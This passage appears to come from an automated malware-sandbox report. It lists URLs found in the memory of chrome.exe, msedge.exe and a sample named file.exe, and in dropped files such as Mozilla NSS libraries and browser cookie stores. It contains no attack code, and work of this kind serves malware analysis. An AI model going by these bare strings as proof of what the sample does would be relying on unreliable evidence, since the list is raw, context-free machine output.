Source: chrome.exe, 00000003.00000003.2271898390.00005908014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271550152.0000590801399000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272931435.0000590801428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272955274.00005908014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272032050.00005908014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2442975732.000078C8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2442975732.000078C8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.2250399720.0000590800E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374758729595368.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: msedge.exe, 00000007.00000002.2442975732.000078C8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000003.2273002296.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000003.00000003.2338898526.00005908013E9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000003.2338898526.00005908013E9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2247845981.00005908006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession0
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2365228314.000078C800280000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365966693.000078C800284000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2365149342.000078C80027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.2250399720.0000590800E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_462.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_462.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000003.00000003.2250399720.0000590800E28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000003.2271898390.00005908014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272931435.0000590801428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272955274.00005908014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272032050.00005908014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_462.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AFCFHDHI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp, chromecache_458.5.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2245907339.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000003.00000003.2247969868.00005908003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247186290.00005908003EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2271898390.00005908014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271550152.0000590801399000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272931435.0000590801428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272955274.00005908014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272032050.00005908014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_462.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_462.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2272830278.0000590801458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272804616.000059080107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272931435.0000590801428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272955274.00005908014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2599315739.0000000000536000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2599315739.0000000000536000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: FBGHIIJDGHCBFIECBKEGHDHDBA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
